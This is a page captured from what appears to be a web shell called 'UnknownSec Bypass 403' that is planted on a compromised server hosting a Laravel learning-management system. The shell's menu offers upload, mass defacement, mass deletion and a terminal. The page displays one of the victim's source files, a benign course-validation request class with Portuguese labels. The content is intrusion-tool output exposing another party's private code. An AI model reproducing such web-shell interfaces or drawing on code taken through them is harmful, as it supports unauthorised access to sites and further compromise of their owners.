UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_3aa9cff400ff
/
app
/
Http
/
Requests
/
Courses
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
CourseRequest.php
<?php namespace EstudioLMS\Http\Requests\Courses; use EstudioLMS\Http\Requests\Request; use EstudioLMS\Models\Financial\Plan; /** * Class CourseRequest * @package EstudioLMS\Http\Requests\Curses */ class CourseRequest extends Request { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rule = ''; $durationRule = []; $id = Request::get('id'); $duration = Request::get('duration'); if (!isset($duration)) { $rule = 'required'; } else { $durationRule = ['duration' => 'required']; } $values = []; $plans = Request::get('plan'); if (count($plans) > 0) { foreach ($plans as $key => $plan) { $values += ['value_' . $plan => 'required|regex:/^\d{1,3}(?:\.\d{3})*,\d{2}$/|min_money']; $values += ['registration_' . $plan => 'sometimes|regex:/^\d{1,3}(?:\.\d{3})*,\d{2}$/']; } } $gate = []; $gateways = Request::get('gateways'); if (count($gateways) > 0) { foreach ($gateways as $key => $gateway) { $gate += ['installments_' . $gateway => 'required|integer|min:1']; } } else { if ($rule == 'required') { $gate = ['gateways' => 'required']; } } $maxSize = 2048; $storageRemaining = (\Session::get('planLimite.plan_storage') - \Session::get('planLimite.storageSize')); $storageRemaining = (int)($storageRemaining * 1024); if ($maxSize > $storageRemaining) { $maxSize = $storageRemaining; } $valid = [ 'name' => 'required', 'short_description' => 'required|max:255', 'course_category_id' => 'required', 'user_id' => 'required', 'level_id' => 'required', 'type_id' => 'required', 'requirement_certificate_id' => 'required', 'description' => 'required|max:16777215', 'plan_course' => 'required', 'plan' => $rule, 'main_image' => 'sometimes|custom_images|max:' . $maxSize, 'cover_image' => 'sometimes|custom_images|max:' . $maxSize, 'slug' => 'required|regex:/^[a-z0-9-]+$/|unique:courses,slug' . ($id ? ",$id,id" : ''), ]; $valid += $values; $valid += $durationRule; $valid += $gate; return $valid; } /** * @return array */ public function attributes() { $attributes = [ 'name' => 'Nome do Curso', 'short_description' => 'Descrição Curta', 'course_category_id' => 'Categoria', 'user_id' => 'Professor', 'level_id' => 'Nível do Curso', 'type_id' => 'Tipo do Curso', 'requirement_certificate_id' => 'Exigência para emitir certificado', 'average_id' => 'Média de', 'description' => 'Descrição', 'plan_course' => 'Tabela de Planos & Valores', 'plan' => 'Opções disponíveis', 'gateways' => 'Formas de pagamento', 'cover_image' => 'Imagem da Capa', 'main_image' => 'Imagem Principal' ]; $values = []; $plans = Request::get('plan'); if (count($plans) > 0) { foreach ($plans as $key => $plan) { $values += ['value_' . $plan => 'Valor Total']; } } $gate = []; $gateways = Request::get('gateways'); if (count($gateways) > 0) { foreach ($gateways as $key => $gateway) { $gate += ['installments_' . $gateway => 'Quantidade de Parcelas']; } } else { $gate = ['installments_1' => 'Quantidade de Parcelas']; } $attributes += $values; $attributes += $gate; return $attributes; } public function messages() { return [ 'slug.required' => 'É obrigatória a indicação de um valor para o campo :attribute. Está sendo apresentado o slug baseado no título/nome.', 'description.max' => 'O tamanho máximo do campo Descrição, foi excedido. Não pode conter mais que 16.7 milhões de caracteres' ]; } }
Copyright © 2026 - UnknownSec